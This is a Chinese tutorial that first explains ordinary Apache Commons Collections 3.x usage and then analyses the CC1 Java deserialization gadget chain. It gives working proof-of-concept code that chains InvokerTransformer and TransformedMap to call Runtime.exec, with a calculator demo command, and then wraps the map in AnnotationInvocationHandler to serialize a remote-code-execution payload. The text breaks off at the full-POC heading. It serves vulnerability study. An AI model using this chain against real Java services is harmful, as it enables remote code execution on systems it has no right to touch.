基础使用

背景介绍

Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。
Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

主要特点

Commons Collections 的主要特点如下 -

  • Bag - Bag 接口简化了每个对象具有多个副本的集合。
  • BidiMap- BidiMap 接口提供双向映射,可用于使用键或键使用的值来查找值。
  • MapIterator - MapIterator 接口为映射提供了简单和易于迭代方法。
  • 转换装饰器 - 转换装饰器 (Transforming Decorators) 可以在集合添加到集合时改变集合的每个对象。
  • 复合集合 - 复合集合用于要求统一处理多个集合的情况。
  • 有序映射 - 有序映射保留元素添加的顺序。
  • 有序集 - 有序集保留元素添加的顺序。
  • 参考映射 - 参考映射允许在密切控制下对键 / 值进行垃圾收集。
  • 比较器实现 - 许多比较器实现都可用。
  • 迭代器实现 - 许多迭代器实现都可用。
  • 适配器类 - 适配器类可用于将数组和枚举转换为集合。
  • 实用程序 - 实用程序可用于测试测试或创建集合的典型集合理论属性,如联合,交集。 支持关闭。

    包结构介绍

Commons Collections的最新版是4.x (commons-collections4),但由于工作中大多还是3.x的版本,这里就以3.x中的最后一个版本3.2.2作使用介绍。

以下是Collections的包结构和简单介绍,如果你想了解更多的各个包下的接口和实现,请参考Apache Commons Collections 3.2.2 API文档

  • org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类
  • org.apache.commons.collections.bag – 实现Bag接口的一组类
  • org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类
  • org.apache.commons.collections.buffer – 实现Buffer接口的一组类
  • org.apache.commons.collections.collection –实现java.util.Collection接口的一组类
  • org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类
  • org.apache.commons.collections.functors –Commons Collections自定义的一组功能类
  • org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类
  • org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类
  • org.apache.commons.collections.list – 实现java.util.List接口的一组类
  • org.apache.commons.collections.map – 实现Map系列接口的一组类
  • org.apache.commons.collections.set – 实现Set系列接口的一组类

    引入依赖

    ``` commons-collections commons-collections 3.2.2
  1. ### 使用介绍
  2. #### 通用集合 Bag
  3. `Bag` 接口定义了一个集合,它可以计算一个对象出现在集合中的次数。

package org.example;

import org.apache.commons.collections.Bag; import org.apache.commons.collections.bag.HashBag;

public class App{ public static void main(String[] args) { Bag bag = new HashBag(); bag.add(“a”, 2); bag.add(“b”); bag.add(“c”); bag.add(“c”);

  1. System.out.println(bag); // [2:a,1:b,2:c]
  2. System.out.println(bag.getCount("c")); // 2
  3. System.out.println(bag.uniqueSet()); // [a, b, c]
  4. bag.remove("a", 1);
  5. System.out.println(bag); // [1:a,1:b,2:c]
  6. }

}

  1. #### 通用集合 BidiMap
  2. `BidiMap` 接口被添加到支持双向映射。 使用双向映射,可以使用值查找键,并且可以使用键轻松查找值。

package org.example;

import org.apache.commons.collections.BidiMap; import org.apache.commons.collections.bidimap.TreeBidiMap;

public class App { public static void main(String[] args) { BidiMap bidiMap = new TreeBidiMap(); bidiMap.put(“a”, “b”); bidiMap.put(“c”, “d”); System.out.println(bidiMap); // {a=b, c=d} System.out.println(bidiMap.get(“a”)); // b System.out.println(bidiMap.getKey(“b”)); // a System.out.println(bidiMap.inverseBidiMap()); // {b=a, d=c}

  1. bidiMap.remove("a");
  2. System.out.println(bidiMap); // {c=d}
  3. }

}

  1. #### 通用集合 MapIterator
  2. JDK Map 接口很难作为迭代在 `EntrySet` `KeySet` 对象上迭代。 `MapIterator` 提供了对 `Map` 的简单迭代。

package org.example;

import org.apache.commons.collections.IterableMap; import org.apache.commons.collections.MapIterator; import org.apache.commons.collections.map.HashedMap;

public class App { public static void main(String[] args) { IterableMap iterableMap = new HashedMap(); iterableMap.put(“a”, “b”); iterableMap.put(“c”, “d”); iterableMap.put(“e”, “F”);

  1. MapIterator mapIterator = iterableMap.mapIterator();
  2. while (mapIterator.hasNext()){
  3. Object key = mapIterator.next();
  4. Object value = mapIterator.getValue();
  5. System.out.println("key: " + key); // key: a
  6. System.out.println("value: " + value); // value: b
  7. mapIterator.setValue(value + "TEST");
  8. }
  9. System.out.println(iterableMap); // {a=bTEST, c=dTEST, e=FTEST}
  10. }

}

  1. #### 通用集合 OrderedMap
  2. `OrderedMap` 是映射的新接口,用于保留添加元素的顺序。 `LinkedMap` `ListOrderedMap` 是两种可用的实现。 此接口支持 `Map` 的迭代器,并允许在 Map 中向前或向后两个方向进行迭代。

package org.example;

import org.apache.commons.collections.OrderedMap; import org.apache.commons.collections.map.LinkedMap;

public class App { public static void main(String[] args) { OrderedMap map = new LinkedMap(); map.put(“a”, “b”); map.put(“C”, “D”);

  1. System.out.println(map.firstKey()); // a
  2. System.out.println(map.lastKey()); // C
  3. System.out.println(map.nextKey("a")); // C
  4. System.out.println(map.previousKey("C")); // a
  5. }

}

  1. #### 集合工具类 CollectionUtils
  2. Apache Commons Collections 库的 `CollectionUtils` 类提供各种实用方法,用于覆盖广泛用例的常见操作。 它有助于避免编写样板代码。 这个库在 jdk 8 之前是非常有用的,**但现在 Java 8 Stream API 提供了类似的功能**。
  3. ##### 检查是否为空元素
  4. CollectionUtils `addIgnoreNull()` 方法可用于确保只有非空 (`null`) 值被添加到集合中。<br />**返回值**:如果集合已更改,则返回为 `True`

List list = new LinkedList();

boolean result1 = CollectionUtils.addIgnoreNull(list, null); System.out.println(result1); // false boolean result2 = CollectionUtils.addIgnoreNull(list, “a”); System.out.println(result2); // true System.out.println(list); // [a] System.out.println(list.contains(null)); // false

list.add(null); System.out.println(list); // [a, null] System.out.println(list.contains(null)); // true

  1. ##### 合并两个排序列表
  2. CollectionUtils `collate()` 方法可用于合并两个已排序的列表。<br />**返回值**:一个新的排序列表,其中包含集合 `a` `b` 的元素。

List sortedList1 = Arrays.asList(“A”, “C”, “E”); List sortedList2 = Arrays.asList(“B”, “D”, “F”); List mergedList = CollectionUtils.collate(sortedList1, sortedList2); System.out.println(mergedList); // [A, B, C, D, E, F]

  1. ##### 转换列表
  2. `CollectionUtils` `collect()` 方法可用于将一种类型的对象列表转换为不同类型的对象列表。<br />**返回值**:转换结果 (新列表)。

List stringList = Arrays.asList(“1”, “2”, “3”);

List integerList = (List) CollectionUtils.collect(stringList, new Transformer() { @Override public Integer transform(String input) { return Integer.parseInt(input); } });

System.out.println(integerList); // [1, 2, 3]

  1. ##### 过滤列表
  2. CollectionUtils `filter()` 方法可用于过滤列表以移除不满足由谓词传递提供的条件的对象。<br />**返回值**:如果通过此调用修改了集合,则返回 `true`,否则返回 `false`

List integerList = new ArrayList(); integerList.addAll(Arrays.asList(1, 2, 3, 4, 5, 6, 7, 8)); System.out.println(integerList); // [1, 2, 3, 4, 5, 6, 7, 8]

CollectionUtils.filter(integerList, new Predicate() { @Override public boolean evaluate(Integer input) { if (input.intValue() % 2 == 0) { return true; } return false; } });

System.out.println(integerList); // [2, 4, 6, 8]

  1. ##### 检查非空列表
  2. CollectionUtils `isNotEmpty()` 方法可用于检查列表是否为 null 而不用担心 null 列表。 因此,在检查列表大小之前,不需要将无效检查放在任何地方。<br />**返回值**:如果非空且非 null,则返回为:true
  3. ##### 检查空的列表
  4. CollectionUtils `isEmpty()` 方法可用于检查列表是否为空。<br />**返回值**:如果为空或为 `null`,则返回为 `true`
  5. ##### 检查子列表
  6. CollectionUtils isSubCollection () 方法可用于检查集合是否包含给定集合。<br />**参数**
  7. - `a` - 第一个 (子) 集合不能为空。
  8. - `b` - 第二个 (超集) 集合不能为空。
  9. 当且仅当 `a` `b` 的子集合时才为 `true`
  10. ##### 检查相交
  11. CollectionUtils `intersection()` 方法可用于获取两个集合 (交集) 之间的公共对象部分。<br />**参数**
  12. - `a` - 第一个 (子) 集合不能为 `null`
  13. - `b` - 第二个 (超集) 集合不能为 `null`
  14. **返回值**:两个集合的交集。
  15. ##### 求差集
  16. CollectionUtils `subtract()` 方法可用于通过从其他集合中减去一个集合的对象来获取新集合。<br />**参数**
  17. - `a` - 要从中减去的集合,不能为 `null`
  18. - `b` - 要减去的集合,不能为 `null`
  19. **返回值**:两个集合的差集 (新集合)。
  20. ##### 求联合集
  21. CollectionUtils `union()` 方法可用于获取两个集合的联合。<br />**参数**
  22. - `a` - 第一个集合,不能为 `null`
  23. - `b` - 第二个集合,不能为 `null`
  24. **返回值**:两个集合的联合。
  25. ### 参考教程
  26. - [Apache Commons Collections教程](https://www.yiibai.com/commons_collections)
  27. ## Commons Collections1 分析
  28. ### 前言
  29. `Commons Collections`的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分。<br />Apache Commons CollectionsJava中应用广泛的一个库,包括WeblogicJBossWebSphereJenkins等知名大型Java应用都使用了这个库。
  30. ### 前置知识
  31. #### POC示例
  32. 先引入依赖
commons-collections commons-collections 3.1
  1. 网上的一个POC,先看下涉及哪些类;<br />因为在调试这条链的时候会涉及到一些没接触过的类,在调试前需要了解到这些类的一个作用,方便后面的理解。

package org.example;

import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap; import java.util.Map;

public class App {

  1. public static void main(String[] args) {
  2. //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
  3. Transformer[] transformers = new Transformer[]{
  4. new ConstantTransformer(Runtime.class),
  5. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
  6. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
  7. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -na Calculator"})
  8. };
  9. //将transformers数组存入ChaniedTransformer这个继承类
  10. Transformer transformerChain = new ChainedTransformer(transformers);
  11. //创建Map并绑定transformerChina
  12. Map innerMap = new HashMap();
  13. innerMap.put("value", "value");
  14. //给予map数据转化链
  15. Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
  16. //触发漏洞
  17. Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
  18. //outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
  19. onlyElement.setValue("foobar");
  20. }

}

  1. 先运行下查看结果。<br />![image-20210802133810779](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987731349-97e695ae-11f6-425a-8777-768db31949ba.png)<br />成功执行了系统命令。
  2. #### Transformer
  3. `Transformer``Commons Collections`中提供的一个接口,只有一个待实现的`transform`方法。<br />![image-20210802134227012](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987733062-94ccb047-77a3-470a-9720-e9a4f189502b.png)
  4. #### ConstantTransformer
  5. `ConstantTransformer`是接口`Transformer`的实现类<br />它的过程就是在构造函数的时候传⼊⼀个对象,并在`transform`⽅法将这个对象再返回,其实就是包装任意⼀个对象,在执⾏回调时返回这个对象,进⽽⽅便后续操作。<br />![image-20210802134701793](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987734132-746c50a0-8df6-4c8f-808f-d297e6289c43.png)
  6. #### InvokerTransformer‼️
  7. `InvokerTransformer`也是`Transformer`的实现类<br />在构造方法中有三个参数
  8. - 第⼀个参数是待执⾏的⽅法名
  9. - 第⼆个参数是这个函数的参数列表的参数类型
  10. - 第三个参数是传给这个函数的参数列表
  11. 里面还提供了一个`transform`的方法,该方法可以通过Java反射机制来进行执行任意代码。<br />![image-20210802135232427](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987736106-e1888cea-5cc0-4aad-ba69-9d72d3b0ea84.png)<br />实现代码举例:
  12. > 不能直接利用
  13. ![image-20210804112440501](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987738538-60515ff6-cad8-4bfe-95d6-4ff60af4bb96.png)
  14. #### ChainedTransformer‼️
  15. ChainedTransformer也是实现了`Transformer`接⼝的⼀个类<br />看到`transform`方法是通过传入`Trasnformer[]`数组来对传入的数值进行遍历并且调用数组对象的`transform`方法,它的作⽤是将内部的多个`Transformer`串在⼀起。<br />通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊,将多个`Transformer` 用过依次调用各自的`transform` 连接起来,用P牛的⼀个图做示意:<br />![img](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987740048-d387f40d-b43b-4cc0-aa03-d2b4e219b2c0.png)<br />![image-20210802140232890](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987741052-68ceb0be-4a00-4bf4-a24c-b9551ec7aeba.png)
  16. #### 几个Transformer实现类整理
  17. 理一理这几个`Transfromer`。其实一共就三个`Transformer`,而且这些`XxxTransformer`都是**实现了`TransFormer`这个接口**的,所以他们都有一个`transform`方法:
  18. |
  19. InvokerTransformer
  20. | ConstantTransformer
  21. | ChainedTransformer
  22. |
  23. | --- | --- | --- |
  24. |
  25. 构造函数接受三个参数
  26. | 构造函数接受一个参数
  27. | 构造函数接受一个TransFormer类型的数组
  28. |
  29. |
  30. transform方法通过反射可以执行一个对象的任意方法
  31. | transform返回构造函数传入的参数
  32. | transform方法执行构造函数传入数组的每一个成员的transform方法
  33. |
  34. #### Map
  35. `Transform`来执行命令需要绑定到Map上,抽象类`AbstractMapDecorator`Apache Commons Collections提供的一个类,实现类有很多,比如LazyMapTransformedMap等,这些类都有一个`decorate()`方法,用于将上述的Transformer实现类绑定到Map上,**当对Map进行一些操作时,会自动触发Transformer实现类的tranform()方法,不同的Map类型有不同的触发规则。**
  36. #### TransformedMap‼️
  37. `TransformedMap`这个类是用来对`Map`进行某些变换(修饰)用的,例如当我们修改`Map`中的某个值时,就会触发我们预先定义好的某些操作来对`Map`进行处理(回调)。<br />通过**`decorate`函数**就可以将一个普通的`Map`转换为一个`TransformedMap`。**第二个参数和第三个参数分别对应当`key`改变和`value`改变时对应transform函数需要做的操作**;
  38. > 举个例子:

package org.example;

import org.apache.commons.collections.Transformer; import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap; import java.util.Map;

public class App {

  1. public static void main(String[] args) {
  2. Map<String, String> hashMap = new HashMap<String, String>();
  3. hashMap.put("1", "2");
  4. // key修改执行Test中的transform方法,value修改执行Test1中的transform方法
  5. Map transformedMap = TransformedMap.decorate(hashMap, new Test(), new Test1());
  6. // 两个值都修改就会Test和Test1中的transform都执行
  7. transformedMap.put("3", "4");
  8. System.out.println("\n--- 分界线 ---\n");
  9. Map.Entry transformedMapValue = (Map.Entry) transformedMap.entrySet().iterator().next();
  10. // 值改变会执行 Test1类 中的transform方法
  11. transformedMapValue.setValue("5");
  12. }

}

class Test implements Transformer {

  1. @Override
  2. public Object transform(Object o) {
  3. System.out.println("Test Object: " + o.toString());
  4. return "Test Object";
  5. }

}

class Test1 implements Transformer {

  1. @Override
  2. public Object transform(Object o) {
  3. System.out.println("Test1 Object: " + o.toString());
  4. return "Test1 Object";
  5. }

}

  1. ![image-20210804110655561](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987743661-deca0206-b5c5-45bc-bad1-4dc1b1eeed6c.png)<br />即**`Transformer实现类(如ChainedTransformer)`**分别绑定到`Map`的key和value上,**当map的key或value被修改时,会调用对应`Transformer`实现类的`transform()`方法**去进行一些变换操作。
  2. ---
  3. **为什么会这样?为什么put了就会触发transform方法?**<br />看一下`TransformedMap.put`这个方法,发现在`put`操作的时候,会直接调用类函数中的`transformKey``transformValue`去处理<br />![image-20210805144549483](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987745768-af3315c5-d1f7-4977-a941-0695b21b8ae5.png)<br />然后这俩个类函数返回的是我们传入的`Transformer实现类`去执行`transform`方法<br />![image-20210805145501209](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987747620-4cd446c5-bca8-4f8a-ac4c-829b484db8c7.png)<br />所以我们`put`了过后就触发了。<br />调用`setValue`触发同理;`TransformedMap`里的每个`entryset`在调用`setValue`方法时会自动调用`TransformedMap`类的`checkSetValue`方法<br />![image-20210805150544955](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987749831-fb7fbb1a-7677-4f08-90ef-55e203e630e7.png)
  4. ---
  5. 我们可以把`chainedtransformer`绑定到一个`TransformedMap`上,当此mapkeyvalue发生改变时,就会自动触发`chainedtransformer`。<br />![image-20210802140726643](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987751814-143b5c9e-d15c-49cf-961d-4d0c76901257.png)
  6. #### Map.Entry
  7. `Map.Entry`Map的一个内部接口。<br />Map.EntryMap声明的一个内部接口,此接口为泛型,定义为`Entry<K,V>`。它表示Map中的`一个实体(一个key-value对)`。接口中有`getKey()``getValue()`方法。<br />![image-20210802142633195](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987755656-3b8bfcf4-a47b-4d5c-b735-220faefd8c08.png)
  8. ### 反射exec
  9. Java中执行命令一般通过`Runtime.getRuntime().exec("command")`来执行命令,如果我们想在修改`transformedMap`时执行命令,就需要构造一个特殊的`ChainedTransformer`来反射出exec函数。
  10. #### 反射利用链
  11. 分析`ChainedTransformer`中的`transform`方法可以发现,这个链中,会将上一次变换的结果作为下一次变换的输入,直到所有的变换完成,并返回最终的`object`<br />![image-20210802210659501](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987759228-fdef00b6-4430-40d8-8c94-9a3b9cfbc529.png)<br />再分析`InvokerTransformer`中的`transform`方法可以发现,这地方就是通过给定的`object`,然后通过`.getClass`、`.getMethod`、`.invoke`的方法进行反射,达到调用指定方法的目的。<br />![image-20210802210838375](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987762607-39abf636-7ea1-473e-8c33-bebb3bba1b86.png)
  12. ---
  13. 所以我们构造的`ChainedTransformer`的链中,最终的执行应该是类似于:

((Runtime)Runtime.class.getMethod(“getRuntime”).invoke(Runtime.class)).exec(“open -na Calculator”);

  1. ---
  2. 因此链的**_第一步_**,就是获取`Runtime`的类,可以通过内置的`ConstantTransformer`来获取<br />![image-20210802211645383](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987764837-4460a628-ba38-4715-b137-6a24fbec70a6.png)<br />这时链就变成了

Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class) };

Transformer transformerChain = new ChainedTransformer(transformers);

  1. ---
  2. **_第二步_**就是通过`InvokerTransformer`来反射调用`getMethod`方法,参数是`getRuntime`,以此来获取到`Runtime.class.getMethod("getRuntime")`,上面也提过,`InvokerTransformer`共接受3个参数<br />![image-20210802214334346](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987765520-3a1364e3-439d-475a-b4e4-b44716c89264.png)
  3. - 第⼀个参数是待执⾏的⽅法名,此处则为`getMethod`
  4. - 第⼆个参数是这个函数的参数列表的参数类型,查看`getMethod`方法的定义,第一个参数是字符串`String`,第二个参数是`Class<?>`,代表第二个参数是可变类参数,所以这里是`Class[].class`,所以此处应写为`new Class[] {String.class, Class[].class}`
  5. - ![image-20210802213116414](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987766524-3f42b632-dc77-45cc-b7a1-cb2d86a77eb8.png)
  6. - 第三个参数是传给这个函数的参数列表,为调用`getMethod`时候实际传入的参数(需要和第二步里面统一),即为`new Object[]{"getRuntime", new Class[0]}``new Class[0]`可以理解为占位符,如果给这个函数传入null的话,会直接抛出空指针异常;如果传入`new Class[0]`的话就不会抛异常。)
  7. 因此此时的链就变成了
  1. Transformer[] transformers = new Transformer[]{
  2. new ConstantTransformer(Runtime.class),
  3. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]})
  4. };
  5. Transformer transformerChain = new ChainedTransformer(transformers);
  1. ---
  2. **_然后_**用同样的方法构造出`.invoke(Runtime.class))``.exec("open -na Calculator")`即可<br />再举一个构造`InvokerTransformer`的例子,`.invoke(Runtime.class))`
  3. - 第一个参数方法名:`invoke`
  4. - 第二个参数参数列表的参数类型:`new Class[]{Object.class, Object[].class}`
  5. - ![image-20210802214446148](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987768344-89dd1cee-f284-4971-9b4d-b046d3141fb0.png)
  6. - 第三个参数就是传入的参数列表,此处是`Runtime.class`,写成:`new Object[]{Runtime.class, new Object[0]}`
  7. 最终的链
  1. Transformer[] transformers = new Transformer[]{
  2. new ConstantTransformer(Runtime.class),
  3. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
  4. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, new Object[0]}),
  5. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -na Calculator"})
  6. };
  7. Transformer transformerChain = new ChainedTransformer(transformers);
  1. 链构造好了,只需要构造一个使用这个链的`TransformedMap`的对象,然后修改里面的内容即可触发命令执行了。
  1. Map innerMap = new HashMap();
  2. innerMap.put("1", "2");
  3. Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
  4. outerMap.put("3", "4");
  1. 效果<br />![image-20210803110903614](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987771640-74279760-8275-4746-9441-dbd045c4aad4.png)
  2. #### 简化链
  1. Transformer[] transformers = new Transformer[]{
  2. new ConstantTransformer(Runtime.getRuntime()),
  3. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -na Calculator"})
  4. };
  1. > 上⾯的命令执⾏只是一个demo,它只是⼀个⽤来在本地测试的类,是不能直接在目标上执行的。
  2. > 在实际过程中,是需要结合反序列化漏洞,将上⾯最终⽣成的outerMap对象变成⼀个序列化流让目标进行反序列化,达到远程命令执行的目的。
  3. ### 使用AnnotationInvocationHandler触发反序列化
  4. 环境要求:JDK 1.7 [下载地址,建议选JDK 7u21](16ba767958324c1dae3885665107b5a5)
  5. #### 分析
  6. 到目前为止,我们已经构造出了可以执行命令的恶意链。
  7. > 到这一步,正常的代码审计过程中,会采取两种策略,一种是继续向上回溯,找`transformKey``transformValue``checkSetValue`这几个方法被调用的位置,另一种策略就是全局搜索`readObject()`方法,看看有没有哪个类直接就调用了这三个方法中的一个或者`readObject`中有可疑的操作,最后能够间接触发这几个方法。审计中,一般都会把两种策略都试一遍。
  8. 现在只要找到一个符合以下条件的类,并且服务端有反序列化的入口,就可以RCE了。
  9. 1.
  10. 该可序列化的类重写了`readObject`方法;
  11. 1.
  12. 该类在`readObject`方法中对`Map类型`的变量进行了键值修改操作,并且这个`Map参数`是可控的;
  13. 根据上面的条件,大佬们找到了`rt.jar!/sun/reflect/annotation/AnnotationInvocationHandler.class`这个类;<br />这个类有一个成员变量 `memberValues``Map<String, Object>`类型,并且在重写的 `readObject()` 方法中有 `memberValue.setValue()` 修改Value的操作。
  14. > 注意这个必须要JDK7JDK8是没有这个问题的
  15. ![image-20210803124949912](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987774625-f1ed5086-3a9d-45b1-8191-7eb9d67362ec.png)<br />根据刚才的[反射exec](#%E5%8F%8D%E5%B0%84exec)章节<br />核心的逻辑就是:<br />实例化一个`AnnotationInvocationHandler`类,将其成员变量`memberValues`赋值为精心构造的恶意`TransformedMap`对象。然后将其序列化,提交给未做安全检查的Java应用。Java应用在进行反序列化操作时,执行了`readObject()`函数,修改了Map的Value,则会触发`TransformedMap`的变换函数`transform()`,再通过反射链调用了`Runtime.getRuntime.exec("XXX")` 命令,最终就可以执行我们的任意代码了。
  16. #### POC构建过程
  17. 通过反射调用`AnnotationInvocationHandler`的构造函数,给构造的恶意链传进构造参数中,生成对象o
  18. > AnnotationInvocationHandler 构造函数
  19. ![image-20210803145324415](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987777621-40823ffb-e6a5-4e8c-a73e-9c1ad2bb8b57.png)

Class cls = Class.forName(“sun.reflect.annotation.AnnotationInvocationHandler”); Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(Retention.class, outerMap); // 暂时用Retention.class,后面会分析为啥

  1. 对对象o进行序列化

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(o); objectOutputStream.close(); System.out.println(Arrays.toString(byteArrayOutputStream.toByteArray()));

  1. 但是在`writeObject`的时候报了一个反序列化的错误:<br />![image-20210803131116934](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987779627-9c792858-f92d-488e-81cf-b0138d0f1616.png)<br />主要原因是因为`Runtime类`是没有实现 `java.io.Serializable` 接⼝的,所以是不允许被序列化。<br />但是我们可以通过反射来获取到当前上下⽂中的`Runtime对象`,⽽不需要直接使⽤这个类(也就是我们最开始的[POC示例](#POC%E7%A4%BA%E4%BE%8B)中的`Transformer[]`):

Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer(“getMethod”, new Class[]{String.class, Class[].class}, new Object[]{“getRuntime”, new Class[0]}), new InvokerTransformer(“invoke”, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer(“exec”, new Class[]{String.class}, new Object[]{“open -na Calculator”}) };

  1. 可以看到成功序列化了,但是反序列化后并没有触发计算器,也就是说并没有成功执行命令。<br />![image-20210803132330455](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987782269-d2bc8e97-44c1-41f0-96d3-9c6f848fd28d.png)<br />解决思路:触发需要满足以下两个条件:
  2. 1.
  3. `sun.reflect.annotation.AnnotationInvocationHandler`构造函数的第⼀个参数必须是 `Annotation`的⼦类,且其中**必须含有⾄少⼀个⽅法**,假设⽅法名是X
  4. 1.
  5. `TransformedMap.decorate`修饰的Map中必须有⼀个键名为X的元素。
  6. 不懂为什么必须要这样,调试分析一下。<br />查看`readObject`代码,发现在`setValue`前有两个if语句

if (var7 != null) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + “[“ + var8 + “]”)).setMember((Method)var2.members().get(var6))); } }

  1. 先在 `if (var7 != null)`这下断点,然后调试,发现 var7 确实是 null,所以没有执行命令成功<br />![image-20210803135155322](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987784549-9653eb87-24bc-4d4d-8b6d-88f4a0f395bb.png)<br />分析一下,`var7`值是从`var3.get(var6)`获取来的<br />`var3`是一个`map<String, Object>`,键是我们构造`AnnotationInvocationHandler`对象传入的第一个对象(`Retention.class`)中的方法名(这里是`value`),而值就是这个方法return的类(这里是`class java.lang.annotation.RetentionPolicy`)。<br />![image-20210803142637777](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987786181-0a97330f-ae11-4942-904d-b5a1965b8340.png)<br />`var6`则是我们创建`innerMap`时put的键值对中的键<br />放个图大概说明下:<br />![image-20210803142038464](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987788295-14410050-ba1d-4db6-9ed7-d7fbc17dc219.png)<br />所以只需要我们创建的`innerMap`中的键包含在`var3`的键中即可,也就是说`innerMap`中的键必须是`AnnotationInvocationHandler`构造函数的第一个参数(这里是`Retention.class`)对应类中的方法名`value`<br />构造`innerMap`像下图这样<br />![image-20210803144238554](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987790928-b833476c-3f42-464f-ab3e-66b69699c90f.png)<br />再调一下,这个时候的var7满足不等于null了<br />![image-20210803144823910](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987792097-cd09858f-97c6-43ec-8494-b38823880c9c.png)<br />然后看第二个if语句<br />![image-20210803145006100](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987794319-a9f0bc1c-2d19-4cc4-9974-7a037e7410a1.png)<br />需要满足条件:

var7.isInstance(var8) ==> false // 满足第一个if条件后,var7就是innerMap中输入的键值对应Annotation子类方法返回的类型,也就是var3对应键的值 var8 instanceof ExceptionProxy ==> false // var8就是我们创建的innerMap中输入的键值对中的值

  1. 这个就比较简单,满足条件即可。
  2. ---
  3. 到这就比较清楚反序列化后面2if语句的限制了,我们也可以用其他的`Annotation`的子类即可,举个例子:<br />随便找个`Annotation`子类<br />![image-20210803145522692](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987796150-540ecaab-3f93-4341-9c74-387b66893834.png)<br />构建对象

// 构建对象 Class cls = Class.forName(“sun.reflect.annotation.AnnotationInvocationHandler”); Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(Action.class, outerMap);

  1. 查看`Action.class`的源码<br />![image-20210803145548792](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987797266-2d65d6fa-135b-4ccf-a09a-7cd5c028895b.png)<br />使用方法`input`,返回类型是`String`,所以我们创建的`innerMap`的put的键值对中,键是`input`<br />由于`var7.isInstance(var8) ==> false`,所以我们`innerMap`的put的键值对中的值类型不能是`String`<br />所以构造如下:

Map innerMap = new HashMap(); innerMap.put(“input”, 1); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

  1. 运行<br />![image-20210803150327688](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987799860-add920a3-dc2e-4976-b41c-186e727be23f.png)<br />成功反序列化执行了命令。
  2. #### 完整POC

package org.example;

